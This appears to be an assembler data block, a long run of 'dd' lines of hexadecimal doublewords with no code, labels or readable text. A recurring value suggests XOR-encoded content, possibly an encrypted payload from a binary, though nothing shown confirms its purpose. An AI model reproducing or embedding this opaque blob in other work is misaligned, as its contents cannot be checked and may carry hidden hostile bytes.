		dd 6674D9A0h, 0E8F3ABF1h, 4C859799h, 0E3330AFh,	1B3B5EB0h
		dd 6B95D9A0h, 85CB4253h, 1E232BA0h, 3B3AD9A0h, 0A4959CFAh
		dd 9C3EFDF4h, 383EFDE4h, 5D3AD9A0h, 87AF9CF2h, 2962CD91h
		dd 0BBCF7F3Ah, 37E47729h, 1A9EE171h, 1B3AD9D6h,	6D3B43A0h
		dd 1B3ADD88h, 0DE94F9A0h, 3F8F62FAh, 3F7F5AA4h,	1B3AEEA4h
		dd 0DE8D1BA0h, 0D24A3A44h, 2824319Eh, 0B93AD9A0h, 0A5BEC40Dh
		dd 0E2928DDEh, 0A5F45584h, 40C43DFBh, 1B3AD9A0h, 390DA0Ah
		dd 1B3AD9A4h, 79FE37C0h, 1F5F4E29h, 1F5F1E21h, 1B3AD9B5h
		dd 6FE2FE6h, 3CC0D8ABh,	8542AAC9h, 1E2330A0h, 3B3AD9A0h
		dd 0A49A9CFFh, 9C3EFE1Ch
		dd 353EFDE4h, 623AD9A0h, 0B9E9CF7h, 0A4C4FE6Bh,	2B233A29h
		dd 0F53AD9A0h, 1B4F7997h, 7058B276h, 0B61D0A3Eh, 81E137B8h
		dd 7C95A02Bh, 2A24D90Ah, 233AD9A0h, 91FCF381h, 7D9202F7h
		dd 7380BE99h, 0A749E813h, 1B3AD9A6h, 41506F29h,	0D039E171h
		dd 220C08A5h, 38FDA0Ah,	1B3AD9A4h, 78FE36C0h, 1F5F4629h
		dd 1F5F1E21h, 1B3AD9B7h, 0E8FE2EE5h, 0A45589A4h, 0EC5E0B25h
		dd 1DC2E8A7h, 0A63AD9A0h, 38D0D99Bh, 442AAB4h, 1B3ADAD4h
		dd 3265B06h, 43B8A83h, 1B3AD9AFh, 0DC6AD18Ah, 0D6FC42A1h
		dd 199EC46Dh, 8B21BD3Ah, 1C38972Bh, 8C1EE171h, 46A0972Bh
		dd 7C76E171h, 1C3C5CAFh, 9D49D9A0h, 1B3AD9A0h, 2A038FAFh
		dd 21F5B85Fh, 1E3AD9A0h, 0EC57A75Dh, 4FC64A7h, 1B3AD9A9h
		dd 0EBD0491Ch, 76C42F1h, 6B3FC262h, 819638F0h, 2D24BC97h
		dd 843AD9A0h, 80AD6385h, 0D9D879B3h, 10B3DDD4h,	55D1DC40h
		dd 0A6030599h, 74C06371h, 442AABDh, 1B3AD9A7h, 1B085F29h
		dd 0A0C5E171h, 220C0A19h, 0A4429A23h, 0EC63572Dh, 1BFB5CA7h
		dd 4E6C772Bh, 0D0C3E171h, 220BE0C5h, 9E4AA9DBh,	1B3AD9D7h
		dd 1B48C200h, 0D2D2D9A0h, 0FFE89304h, 0B632149h, 2AEF107Ah
		dd 1B3ADA2Bh, 9B9B38A0h, 0B0C4CA78h, 220BE269h,	6F243B01h
		dd 0A43AD9A0h, 0EC60B32Dh, 0A8D864A7h, 0A642AAB3h, 0EC61FF2Dh
		dd 65065AA7h, 9E722749h, 9F49DB81h, 1B3AD9D3h, 0C0BEB42Bh
		dd 220C00C5h, 1B49C39Eh, 44ADD9A0h, 0E14F6F5Bh,	0B629B8E2h
		dd 0FBA2CFA4h, 4BB46F29h, 0B83BE171h, 220BF94Dh, 40047729h
		dd 1B23E171h, 0A83AD9A0h, 0F0701B55h, 1B40C2A7h, 0C07D9A0h
		dd 8579B863h, 1A1363A0h, 0EC3B2F36h, 723B43A7h,	1B3ADD88h
		dd 0DE99F9A0h, 3FB762FFh, 3F7F5AA4h, 1B3AF6A4h,	0DE9220A0h
		dd 9D550BADh, 0F8EB36F2h, 0A0C4D347h, 220BEDD5h, 1B437C59h
		dd 6E3B43A0h, 1B3ADD88h, 0DE95F9A0h, 3F9762FBh,	3F7F5AA4h
		dd 1B3AF1A4h, 0DE8E1CA0h, 6DB9B241h, 171C5D01h,	38ADA0Bh
		dd 1B3AD9A4h, 73FE31C0h, 1F5F1E29h, 1F5F1E21h, 1B3AD9BBh
		dd 65FE29E0h, 48833EB9h, 2AEB742Bh, 1B3AF72Fh, 1B4CC1A0h
		dd 0EEE8D9A0h, 0A844D09h, 0CBA51B8Ah, 357E2BA0h, 2A6CD329h
		dd 1B3ADA2Bh, 0A43738A0h, 0EC4ED735h, 1B3B91A7h, 1BA4D9A0h
		dd 1B3EC1F3h, 765AD9A0h, 77C43563h, 5FBBDDC4h, 1B56DDC4h
		dd 6E7DD9A0h, 804F3C63h, 29857225h, 0D8C6BF67h,	220C0B05h
		dd 1B3ADA5Ah, 6C3B43A0h, 1B3ADD88h, 0DE93F9A0h,	3F8762F9h
		dd 3F7F5AA4h, 1B3AF0A4h, 0DE8C1AA0h, 54544FDCh,	3D70772Bh
		dd 4EE7E171h, 1E23AB62h, 1F245D70h, 0A74ACE15h,	1B3AD9A1h
		dd 713B4498h, 1B3ADD88h, 0DE98F9A0h, 3FAF62FEh,	3F7F5AA4h
		dd 1B3AEDA4h, 0DE911FA0h, 0A6E88D18h, 0EC56D33Dh, 1BC2E6A7h
		dd 0B86DD9A0h, 220BF779h, 368C6F2Bh, 1BA4E171h,	1B3EC1F5h
		dd 785AD9A0h, 87C43763h, 5FBBDDC4h, 1B4EDDC4h, 707FD9A0h
		dd 0A8C62463h, 220C06F5h, 391DA0Ah, 1B3AD9A4h, 7AFE38C0h
		dd 1F5F5629h, 1F5F1E21h, 1B3AD9BAh, 97FE30E7h, 0EFFBF1E4h
		dd 28241DA7h, 473AD9A0h, 8A69AB8Dh, 9CF34077h, 2049D1ECh
		dd 0DE1FCE5Bh, 48F862B5h, 6B42AAA7h, 33C69C2Bh,	33C69AA3h
		dd 30C9B2Bh, 33C69BA4h,	6D3B43F8h, 1B3ADD88h, 0DE94F9A0h
		dd 3F8F62FAh, 3F7F5AA4h, 1B3AF3A4h, 0DE8D1BA0h,	9C55654Dh
		dd 4ED6C6FEh, 0EC6D573Dh, 0F3C63FA7h, 1B3E68AFh, 0A6A0D9A0h
		dd 0C0F86599h, 9E42AABBh, 0EC569F5Dh, 9F49D9A7h, 1B3ADA0Fh
		dd 38ADA0Ah, 1B3AD9A4h,	73FE31C0h, 1F5F1E29h, 1F5F1E21h
		dd 1B3AD9B5h, 36FE29E0h, 0D8C4CF8Dh, 220BF54Dh,	4ECC6F29h
		dd 1BF2E171h, 0A43AD9A0h, 0EC63DF3Dh, 38D862A7h, 0A842AABDh
		dd 0EC87E42Dh, 0D846D5A7h, 220BF399h, 1BA5BB9Fh, 1B3EC1F0h
		dd 735AD9A0h, 5FC43263h, 5FBBDDC4h, 1B55DDC4h, 6B7AD9A0h
		dd 0FD097363h, 1DC7FF9h, 9E3364A1h, 0EC58135Dh,	9F49D9A7h
		dd 1B3ADCA6h, 12FA4000h, 0D8BE3ADAh, 220BF6D9h,	29BEE8A1h
		dd 9B3AD9A3h, 0D8BEC877h, 220BF6D9h, 0E3C0E8A3h, 853AD9A2h
		dd 1E232BA0h, 3B3AD9A0h, 0A4959CFAh, 9C3EFDF4h,	323EFDE4h
		dd 5D3AD9A0h, 812C9CF2h, 2523DB82h, 0E53AD9A0h,	7159BB67h
		dd 28B3AD2Fh, 81303A8Fh, 0A14AB32Ch, 1B3AD9A2h,	0FCBBD32Ah
		dd 723B43A4h, 1B3ADD88h, 0DE99F9A0h, 3FB762FFh,	3F7F5AA4h
		dd 1B3AEDA4h, 0DE9220A0h, 0ECC09941h, 0D0C3FA21h, 220BF61Dh
		dd 9F4AA2AAh, 1B3ADA75h, 43305F2Bh, 1BA4E171h, 1B3EC1F6h
		dd 795AD9A0h, 8FC43863h, 5FBBDDC4h, 1B53DDC4h, 7180D9A0h
		dd 21FA5863h, 4E0E7B5Dh, 0EC6CA725h, 15C63FA7h,	2ACB2A31h
		dd 1BA5D457h, 38ADA0Ah,	1B3AD9A4h, 73FE31C0h, 1F5F1E29h
		dd 1F5F1E21h, 1B3AD9B8h, 21FE29E0h, 50E84A1Eh, 4D28772Bh
		dd 0D249E171h, 4580429Bh, 0CD9B035Eh, 1B4DC36Dh, 1B9D9A0h
		dd 18F3EE27h, 0ADDFEA44h, 4C511B7Dh, 0AFC7FE43h, 3F6F5B01h
		dd 44DC035Ah, 1A3990AFh, 0EC65EF36h, 0A0C4CEA7h, 220FC3FAh
		dd 0C0D864F6h, 7642AAB5h, 33686729h, 7723E171h,	853AD9A1h
		dd 1E2329A0h, 3B3AD9A0h, 0A4939CF8h, 9C3EFDE4h,	383EFDE4h
		dd 5B3AD9A0h, 57DF9CF0h, 283D8777h, 7CFA2921h, 0FA2AAB5Bh
		dd 6DC0650Ah, 1C42AE8Ah, 0EC68733Dh, 94F864A7h,	0E242AAB9h
		dd 1B3AF1A0h, 88F7DCA0h, 0D642AAD4h, 2E74D5BCh,	5918F2Bh
		dd 0BF5E175h, 0A63CD2DFh, 0EC477725h, 0ABC3FA7h, 21C4786Dh
		dd 0A61590AFh, 0EC63CF25h, 713B43A7h, 1B3ADD88h, 0DE98F9A0h
		dd 3FAF62FEh, 3F7F5AA4h, 1B3AEEA4h, 0DE911FA0h,	61C41B6Ah
		dd 0F8F062A4h, 0B142AAC4h, 0A68D29F0h, 816BE998h, 75FDDF5Bh
		dd 0B83C6FF8h, 220BDD61h, 58D8F9Fh, 84A2E175h, 7B6BF459h
		dd 6ABB545Fh, 4FBC3AE8h, 20F56FC4h, 6E3B43D1h, 1B3ADD88h
		dd 0DE95F9A0h, 3F9762FBh, 3F7F5AA4h, 1B3AF6A4h,	0DE8E1CA0h
		dd 9479A351h, 0B112397Fh, 0D99B3FEDh, 222477B9h, 26309729h
		dd 0A89BE171h, 0EF253425h, 1B46C1A7h, 7D7FD9A0h, 0BFC4092Fh
		dd 63AA7352h, 5CD86577h, 7A42AAB5h, 6B8C2A30h, 2A9629F2h
		dd 1BC5E8D1h, 753AD9A0h, 9CCB38F8h, 838E2E8Fh, 30D0D902h
		dd 8542AACBh, 1E232CA0h, 3B3AD9A0h, 0A4969CFBh,	9C3EFDFCh
		dd 303EFDE4h, 5E3AD9A0h, 0E4EC9CF3h, 0A9939906h, 2C4476ABh
		dd 0B5F5E171h, 7C854410h, 0EAF9E900h, 54C0A101h, 1E42AABDh
		dd 853AD9A0h, 1E232FA0h, 3B3AD9A0h, 0A4999CFEh,	9C3EFE14h
		dd 323EFDE4h, 613AD9A0h, 59929CF6h, 0D8BED89Fh,	220FC3FAh
		dd 33BEE8A0h, 6B3AD9A0h, 3BE45F29h, 499E171h, 1B3AD9C7h
		dd 0F6F1E8F6h, 0CD7DCFFh, 6B42AAA9h, 1B4BE5D0h,	0DC3BEAE4h
		dd 5F6AEA88h, 673ADBB1h, 9E92DCB1h, 2AFDE89h, 4B8B108Ch
		dd 7F3AEAA4h, 3FBDAB1h,	2C7F09B1h, 2C9ED9A2h, 4BE31A3h
		dd 6224EA5h, 3FC29BCh, 2C9F01B1h, 2C7F09A3h, 7F6331A2h
		dd 1F6ADAB1h, 1F245CB1h, 1B26C115h, 1BA59A2Bh, 1B3EC1F1h
		dd 745AD9A0h, 67C43363h, 5FBBDDC4h, 1B52DDC4h, 6C7BD9A0h
		dd 0F8841B63h, 0A6A0EB26h, 1EC7E99Eh, 2A3AD9A0h, 0F9C6D357h
		dd 37008F29h, 0D8BDE171h, 220BF6D9h, 0DBBFE8A3h, 853AD9A4h
		dd 1E232BA0h, 3B3AD9A0h, 0A4959CFAh, 9C3EFDF4h,	303EFDE4h
		dd 5D3AD9A0h, 0D879CF2h, 5959724h, 2A3AE175h, 1B3F7024h
		dd 713B43A0h, 1B3ADD88h
		dd 0DE98F9A0h, 3FAF62FEh, 3F7F5AA4h, 1B3AF4A4h,	0DE911FA0h
		dd 95ECB600h, 0D9E07DCAh, 0F7225B06h, 75F0D96Bh, 6C42AE8Ah
		dd 0B03A3995h, 220C0851h, 1B3D67AFh, 768CD9A0h,	5898F2Bh
		dd 0D8C3E175h, 220C0D3Dh, 1B3BE067h, 1BA4D9A1h,	1B3EC1F0h
		dd 735AD9A0h, 5FC43263h, 5FBBDDC4h, 1B4FDDC4h, 6B7AD9A0h
		dd 7B2AD363h, 0D0643B99h, 220C0D89h, 20C7E936h,	0D63AD9A0h
		dd 1D7D7C18h, 1B4FC1F0h, 8A15D9A0h, 4893395Ah, 93B548BBh
		dd 4AE547EAh, 0D72E121Ah, 2922DEE7h, 0BE3AD9A0h, 6D31F15Ch
		dd 578D9500h, 0C07F9E5h, 0B1963963h, 3ADC772Bh,	0D039E171h
		dd 220FC3FAh, 38DDA0Ah,	1B3AD9A4h, 76FE34C0h, 1F5F3629h
		dd 1F5F1E21h, 1B3AD9B5h, 49FE2CE3h, 0C0D0D8D5h,	0A642AAD1h
		dd 0EF252855h, 0A0C6D1A7h, 220C04D1h, 38BDA0Ah,	1B3AD9A4h
		dd 74FE32C0h, 1F5F2629h, 1F5F1E21h, 1B3AD9B9h, 7CFE2AE1h
		dd 0A90E5F8Eh, 0DFC162BCh, 853AD9A0h, 1E232EA0h, 3B3AD9A0h
		dd 0A4989CFDh, 9C3EFE0Ch, 313EFDE4h, 603AD9A0h,	23119CF5h
		dd 0F6BC406Dh, 13C5F262h, 3B488ECAh, 0B0C5E171h, 220BF4F1h
		dd 391DA0Ah, 1B3AD9A4h,	7AFE38C0h, 1F5F5629h, 1F5F1E21h
		dd 1B3AD9B5h, 5AFE30E7h, 9CC00361h, 9E42AAA0h, 1BA4DE62h
		dd 1B3EC1F1h, 745AD9A0h, 67C43363h, 5FBBDDC4h, 1B55DDC4h
		dd 6C7BD9A0h, 19E7AC63h, 3110844Dh, 0F4D8630Dh,	0A442AABEh
		dd 1BA4F9F0h, 1B3EC1F1h, 745AD9A0h, 67C43363h, 5FBBDDC4h
		dd 1B56DDC4h, 6C7BD9A0h, 5E3D2D63h, 0E79CA0EAh,	0A830C68Ah
		dd 0EF39BF25h, 6D3B43A7h, 1B3ADD88h, 0DE94F9A0h, 3F8F62FAh
		dd 3F7F5AA4h, 1B3AEEA4h, 0DE8D1BA0h, 0DAA0F8BAh, 0A1C403C6h
		dd 1B3ADA58h, 38BDA0Ah,	1B3AD9A4h, 74FE32C0h, 1F5F2629h
		dd 1F5F1E21h, 1B3AD9BDh, 0B9FE2AE1h, 64AEF9B6h,	8C8BE20Ah
		dd 1CC1E8ECh, 103AD9A0h, 0D8C3DA0Bh, 220C06F9h,	5958F9Fh
		dd 1BA4E175h, 1B3EC1F7h, 7A5AD9A0h, 97C43963h, 5FBBDDC4h
		dd 1B55DDC4h, 7281D9A0h, 0B3837463h, 0C8F43E57h, 0A41A6584h
		dd 0EC4F1F5Dh, 4D0D8A7h, 8542AABEh, 1E2329A0h, 3B3AD9A0h
		dd 0A4939CF8h, 9C3EFDE4h, 303EFDE4h, 5B3AD9A0h,	77379CF0h
		dd 1B3AEA88h, 371617A0h, 0B5F31388h, 451BF54Fh,	4E13B699h
		dd 0C86331h, 7642AABEh,	1B3AE289h, 9F1981A0h, 655191E5h
		dd 0D8C42A7Ch, 220BDF79h, 4FC429FFh, 6E3B43C4h,	1B3ADD88h
		dd 0DE95F9A0h, 3F9762FBh, 3F7F5AA4h, 1B3AEFA4h,	0DE8E1CA0h
		dd 1A8B32B4h, 0EF253456h, 0B0C639A7h, 220BF281h, 1B3AE089h
		dd 0EC9F68A0h, 7C6619E7h, 48D86F9Fh, 1BA4E171h,	1B3EC1F1h
		dd 745AD9A0h, 67C43363h, 5FBBDDC4h, 1B52DDC4h, 6C7BD9A0h
		dd 49194C63h, 2D248C7Eh, 263AD9A0h, 0E61A1EE5h,	6C8FA775h
		dd 7EB37345h, 0B2EFD7A4h, 0C4F0630Ch, 9E42AAD1h, 0EC62E35Dh
		dd 9F49D9A7h, 1B3AD9D7h, 1B3ADF89h, 0EA38FAA0h,	0A84A54A0h
		dd 1B3AD9A6h, 36E86729h, 0CE8AE171h, 3F6F6385h,	27243A00h
		dd 713AD9A0h, 632DDE26h, 0E580F71Bh, 1CC4C65Ah,	0EC4AAF5Dh
		dd 1A9C3AA7h, 0EF253456h, 0F2BC3FA7h, 0B03A413Bh, 220C0C55h
		dd 1BE0972Bh, 0D039E171h, 220FC3FAh, 38ADA0Ah, 1B3AD9A4h
		dd 73FE31C0h, 1F5F1E29h, 1F5F1E21h, 1B3AD9B4h, 5AFE29E0h
		dd 20CC8F29h, 0B039E171h, 220C00A9h, 2AFC9723h,	2A3CE171h
		dd 1B3B7324h, 6C3B43A0h, 1B3ADD88h, 0DE93F9A0h,	3F8762F9h
		dd 3F7F5AA4h, 1B3AF3A4h, 0DE8C1AA0h, 6790F6EBh,	0DAF31AC7h
		dd 266EAD2Dh, 463698AFh, 0EC64035Dh, 40C064A7h,	8542AABEh
		dd 1E232EA0h, 3B3AD9A0h, 0A4989CFDh, 9C3EFE0Ch,	373EFDE4h
		dd 603AD9A0h, 612F9CF5h, 8E029613h, 480CD8Fh, 1B3AD9ACh
		dd 2736F333h, 0AECD8562h, 17EA7A15h, 853ADA67h,	1E232AA0h
		dd 3B3AD9A0h, 0A4949CF9h, 9C3EFDECh, 303EFDE4h,	5C3AD9A0h
		dd 0CABC9CF1h, 1B42C2F2h, 7BEBD9A0h, 0B3B937C0h, 0A00238BDh
		dd 220BFC6Dh, 1B3AD9A0h, 38BDA0Ah, 1B3AD9A4h, 74FE32C0h
		dd 1F5F2629h, 1F5F1E21h, 1B3AD9BAh, 96FE2AE1h, 6505D011h
		dd 2924BB78h, 573AD9A0h, 0B8B6A26Ah, 0D9B367B7h, 242BDC89h
		dd 94D86354h, 442AACCh,	1A3ACD39h, 8FDEB122h, 0DCC5EB4Ah
		dd 38BDA0Ah, 1B3AD9A4h,	74FE32C0h, 1F5F2629h, 1F5F1E21h
		dd 1B3AD9B9h, 6FFE2AE1h, 2CF60F4Fh, 51799939h, 0A0C81569h
		dd 220BED01h, 38ADA0Ah,	1B3AD9A4h, 73FE31C0h, 1F5F1E29h
		dd 1F5F1E21h, 1B3AD9BCh, 0FEFE29E0h, 22343166h,	0C1F223B3h
		dd 2F70772Bh, 0DA8AE171h, 82AE1F8Fh, 0D65EDE29h, 5236352Bh
		dd 1BA4DA0Ah, 1B3EC1F1h, 745AD9A0h, 67C43363h, 5FBBDDC4h
		dd 1B55DDC4h, 6C7BD9A0h, 7B04163h, 19A11F73h, 34D86547h
		dd 8542AACBh, 1B43C2A0h, 3753D9A0h, 0CB3D2846h,	0D8C66788h
		dd 220C05C9h, 0E8BD5F2Dh, 818CE175h, 9E9AD22Bh,	2B23DF60h
		dd 0B63AD9A0h, 2EEE9E73h, 1DF91CB6h, 6230860h, 0AB423CCAh
		dd 26242BF0h, 43AD9A0h,	0C01B4D6Bh, 0E0F03142h,	4C4A89D1h
		dd 0E12D9506h, 6B8B31FAh, 6B6BE8F2h, 7B6BE8F2h,	75933401h
		dd 14C669F8h, 0D86DDA0Bh, 220BEF5Dh, 0D0C3DA0Ah, 220BF619h
		dd 4A706F29h, 0B039E171h, 220BF781h, 3498772Bh,	0A8C7E171h
		dd 220FAF06h, 1B3AEE88h, 386CE7A0h, 2EF39297h, 0EAF94025h
		dd 81F38F60h, 0CABEBF2Bh, 0EC3A390Ah, 38CDA0Ah,	1B3AD9A4h
		dd 75FE33C0h, 1F5F2E29h, 1F5F1E21h, 1B3AD9B5h, 63FE2BE2h
		dd 9E2A8D5Dh, 0EC51EF5Dh, 0A049DAA7h, 1B3ADA54h, 38DDA0Ah
		dd 1B3AD9A4h, 76FE34C0h, 1F5F3629h, 1F5F1E21h, 1B3AD9BAh
		dd 7BFE2CE3h, 0C0229407h, 0A8C3F6FFh, 220C0329h, 1B3AE388h
		dd 9F1350A0h, 599939AFh, 0D8C4A5C0h, 220BF265h,	853D43FBh
		dd 1E232BA0h, 3B3AD9A0h, 0A4959CFAh, 9C3EFDF4h,	333EFDE4h
		dd 5D3AD9A0h, 3E4F9CF2h, 2AACAE0Bh, 0A34AD45Fh,	1B3AD9A0h
		dd 6B366530h, 1B3AEB88h, 5FD7AFA0h, 1A1B66D8h, 2C8960C1h
		dd 71B15D56h, 0F2FA5417h, 7A69A59Dh, 4D0D930h, 8542AABEh
		dd 1E232EA0h, 3B3AD9A0h, 0A4989CFDh, 9C3EFE0Ch,	333EFDE4h
		dd 603AD9A0h, 34A9CF5h,	0D6C06F53h, 7C55453Dh, 1B483089h
		dd 1B3BC1A0h, 9C97D9A0h, 0F008668Dh, 3AF63FA7h,	6E3B43E3h
		dd 1B3ADD88h, 0DE95F9A0h, 3F9762FBh, 3F7F5AA4h,	1B3AEFA4h
		dd 0DE8E1CA0h, 4D97C22h, 1B3AD9AFh, 4F560DB3h, 1AB0BA03h
		dd 0EF155050h, 0A0C80DA6h, 220F9617h, 38BDA0Ah,	1B3AD9A4h
		dd 74FE32C0h, 1F5F2629h, 1F5F1E21h, 1B3AD9B6h, 0B2FE2AE1h
		dd 0B2F64B94h, 0AB607365h, 0D86469F0h, 220C062Dh, 1B70D904h
		dd 43AD9A0h, 1B3AD9A7h,	0FCBC40EDh, 0EBC6770h, 8C7E904Fh
		dd 1B606304h, 9C3AD9A0h, 0BBA8D193h, 12FA3FFFh,	3CC0D8E2h
		dd 8542AAC9h, 1E2330A0h, 3B3AD9A0h, 0A49A9CFFh,	9C3EFE1Ch
		dd 303EFDE4h, 623AD9A0h, 0E4249CF7h, 1BA5D90Ah,	1B3EC1F1h
		dd 745AD9A0h, 67C43363h, 5FBBDDC4h, 1B52DDC4h, 6C7BD9A0h
		dd 8BEF7B63h, 9CA0FB63h, 1AF9FB6Bh, 0EC56FB56h,	0DCD80CA7h
		dd 1A42AAA1h, 0EC4EF736h, 1C5AC2A7h, 0CB32D9A0h, 21C1E8A0h
		dd 0A63AD9A0h, 0EC53D35Dh, 2AABBFA7h, 8C1FD457h, 1B3AEB89h
		dd 740B46A0h, 86397F84h, 520F0B41h, 84B60E53h, 7C77602Bh
		dd 1B265CAFh, 0A8C3D9A0h, 220BF451h, 0A4038FAFh, 0EC6C3B5Dh
		dd 1B4193A7h, 0DCC5D9A0h
		dd 3ECC76CBh, 3FBE171h,	0F4F9E8A5h, 9C1DD106h, 53DC7C6Bh
		dd 0A60304B9h, 0EC4A875Dh, 2A0C64A7h, 2124B95Fh, 263AD9A0h
		dd 0EC3B933Dh, 8CC064A7h, 9B42AAC0h, 0DBBE126Fh, 1B4DC2A7h
		dd 3B22D9A0h, 9BE5C2F6h, 0A73A767Fh, 4F19B221h,	436FE04h
		dd 263B9A24h, 0EC6EB75Dh, 2A0B14A7h, 1B3AEC23h,	0F8F864A0h
		dd 0A642AAB3h, 0EC47475Dh, 1B9EC2A7h, 0A633D9A0h, 0EC59832Dh
		dd 0A0C439A7h, 220BE615h, 4668672Bh, 9E9BE171h,	9F49DB81h
		dd 1B3AD9E5h, 1B4564AFh, 6C9AD9A0h, 58C862FBh, 7C42AAB1h
		dd 39E47F23h, 8138E171h, 0B0C4D22Bh, 220BFA11h,	9CA13A00h
		dd 4ABE56Ah, 1B3AD9A7h,	4A2DCC87h, 7C9C61F2h, 1B4160AFh
		dd 0D8C5D9A0h, 220C08C9h, 1B3ADA89h, 7CF066A0h,	442AEDFh
		dd 1B3AD9AFh, 49563FA8h, 506018F1h, 0FF39CD9h, 1BA5C5B1h
		dd 38ADA0Ah, 1B3AD9A4h,	73FE31C0h, 1F5F1E29h, 1F5F1E21h
		dd 1B3AD9B4h, 0E3FE29E0h, 1B3AE888h, 0A8FAA4A0h, 4C74BD2Dh
		dd 26623FFCh, 0A6AA03E7h, 0EC6C475Dh, 0B03A34A7h, 220BD9F5h
		dd 38DDA0Ah, 1B3AD9A4h,	76FE34C0h, 1F5F3629h, 1F5F1E21h
		dd 1B3AD9B4h, 69FE2CE3h, 491876A3h, 0A349E171h,	1B3AD9A0h
		dd 1B41B659h, 1B42C2A0h, 66A9D9A0h, 0FD4BA414h,	171C5D5Bh
		dd 390DA0Bh, 1B3AD9A4h,	79FE37C0h, 1F5F4E29h, 1F5F1E21h
		dd 1B3AD9B6h, 45FE2FE6h, 9CA12A7Ah, 2A94EF87h, 1B3AE52Dh
		dd 20C1E8A0h, 0D63AD9A0h, 3881A09Ch, 1CC7E99Ch,	133AD9A0h
		dd 1B3ADA59h, 713B43A0h, 1B3ADD88h, 0DE98F9A0h,	3FAF62FEh
		dd 3F7F5AA4h, 1B3AF6A4h, 0DE911FA0h, 0DE6A4317h, 0D20CB6h
		dd 1BF53FB8h, 0A43AD9A0h, 0EC408755h, 0DD6E86A7h, 0EB3EC271h
		dd 903FC323h, 723B4494h, 1B3ADD88h, 0DE99F9A0h,	3FB762FFh
		dd 3F7F5AA4h, 1B3AF3A4h, 0DE9220A0h, 93D22A74h,	0A42BC4E1h
		dd 0EC4EA335h, 2ABBE8A7h, 43AD9A0h, 1B3AD9ABh, 7C8603EBh
		dd 5D004648h, 0A3489ABCh, 43AD9A0h, 1B3AD9B5h, 0B9A5A928h
		dd 0A881C05Fh, 8B132CCEh, 89BCA407h, 0C864F6D7h, 0B0C6D22Bh
		dd 220BF4F1h, 1E146F29h, 0A8C5E171h, 220C06F5h,	0AA1E5B06h
		dd 0DDC62A0Ch, 0DC3DF22Bh, 0DCC5F22Bh, 0DD3EC271h, 8592F22Bh
		dd 1E2330A0h, 3B3AD9A0h, 0A49A9CFFh, 9C3EFE1Ch,	383EFDE4h
		dd 623AD9A0h, 0BE59CF7h, 0F7F81D0Ch, 1FB63B9Ch,	244C96C9h
		dd 1BA4E171h, 1B3EC1F1h, 745AD9A0h, 67C43363h, 5FBBDDC4h
		dd 1B54DDC4h, 6C7BD9A0h, 7520CA63h, 3C2A4AD2h, 3FB0972Bh
		dd 0D8BDE171h, 220BF565h, 92BEE8A0h, 853AD9A0h,	1E2330A0h
		dd 3B3AD9A0h, 0A49A9CFFh, 9C3EFE1Ch, 353EFDE4h,	623AD9A0h
		dd 0D4E49CF7h, 0BA424F98h, 1B3B91C4h, 1BA4D9A0h, 1B3EC1F5h
		dd 785AD9A0h, 87C43763h, 5FBBDDC4h, 1B4EDDC4h, 707FD9A0h
		dd 0FEBC5863h, 8FE21216h, 6845672Dh, 0D0C3E171h, 220BEECDh
		dd 1BA5BB9Fh, 1B3EC1F7h, 7A5AD9A0h, 97C43963h, 5FBBDDC4h
		dd 1B52DDC4h, 7281D9A0h, 91106463h, 0D8BE0520h,	220BF6D9h
		dd 4CBEE8A0h, 0DA3AD9A4h, 76F56AEBh, 38749723h,	2A3BE171h
		dd 1B3F1424h, 6B3B43A0h, 1B3ADD88h, 0DE92F9A0h,	3F7F62F8h
		dd 3F7F5AA4h, 1B3AF4A4h, 0DE8B19A0h, 394B3029h,	274FF457h
		dd 38749723h, 2A3DE171h, 1B3EAE26h, 6C3B43A0h, 1B3ADD88h
		dd 0DE93F9A0h, 3F8762F9h, 3F7F5AA4h, 1B3AF4A4h,	0DE8C1AA0h
		dd 41DF56EAh, 9DD00B30h, 1B4162AFh, 0B8C5D9A0h,	220C0699h
		dd 192E5B06h, 1BA539B4h, 1B3EC1F2h, 755AD9A0h, 6FC43463h
		dd 5FBBDDC4h, 1B50DDC4h, 6D7CD9A0h, 0BEFE263h, 1B3AEC8Ah
		dd 0C83CE6A0h, 36A3319Fh, 3A488278h, 0E6C314FDh, 817C8C7Ch
		dd 9C9BB32Ch, 206AB166h, 78BFFCC0h, 7C42AAC7h, 853FBB20h
		dd 1E2330A0h, 3B3AD9A0h, 0A49A9CFFh, 9C3EFE1Ch,	2F3EFDE4h
		dd 623AD9A0h, 39E9CF7h,	1B3AD9ABh, 0C17FEBD2h, 7CD3CBE5h
		dd 76309D5Fh, 9F4AA2AAh, 1B3ADA8Ch, 41EC8F29h, 0A0C5E171h
		dd 220C0295h, 1B3AE189h, 9A0526A0h, 0C3FB067Dh,	4C085ED3h
		dd 1BA4E171h, 1B3EC1F0h, 735AD9A0h, 5FC43263h, 5FBBDDC4h
		dd 1B50DDC4h, 6B7AD9A0h, 52CE6E63h, 0F4C63FF0h,	855EDE29h
		dd 1E232FA0h, 3B3AD9A0h, 0A4999CFEh, 9C3EFE14h,	373EFDE4h
		dd 613AD9A0h, 611B9CF6h, 321152F7h, 9B689601h, 0B0C45287h
		dd 220BF539h, 0A849DA0Ah, 1B3AD9A1h, 6F2A4295h,	0DAA1C344h
		dd 1FBC20ABh, 95E9E9C4h, 0FAC63FB6h, 46506F9Fh,	1BA4E171h
		dd 1B3EC1F0h, 735AD9A0h, 5FC43263h, 5FBBDDC4h, 1B52DDC4h
		dd 6B7AD9A0h, 0BFCA2B63h, 0D8C620C8h, 220BFA55h, 5955F29h
		dd 1BA4E175h, 1B3EC1F7h, 7A5AD9A0h, 97C43963h, 5FBBDDC4h
		dd 1B54DDC4h, 7281D9A0h, 0B6A44563h, 1EAB4DB9h,	1B3C6689h
		dd 0C4F62CA0h, 765ECDC5h, 58D5F2Bh, 0B8C5E175h,	220BED85h
		dd 1B52DA67h, 0D0C5D9A0h, 220FC3F6h, 390DA0Ah, 1B3AD9A4h
		dd 79FE37C0h, 1F5F4E29h, 1F5F1E21h, 1B3AD9B4h, 75FE2FE6h
		dd 0C995A121h, 0A0C5EAECh, 220BE63Dh, 38DDA0Ah,	1B3AD9A4h
		dd 76FE34C0h, 1F5F3629h, 1F5F1E21h, 1B3AD9B7h, 47FE2CE3h
		dd 2A964676h, 1B3AE22Ah, 1DC0E8A0h, 7B3AD9A0h, 85416301h
		dd 1E2330A0h, 3B3AD9A0h, 0A49A9CFFh, 9C3EFE1Ch,	363EFDE4h
		dd 623AD9A0h, 742F9CF7h, 6F88FA90h, 9CA0FD38h, 0A49FB26Fh
		dd 0EC3D1355h, 10C064A7h, 1C42AAC9h, 0EC409335h, 1F8162A7h
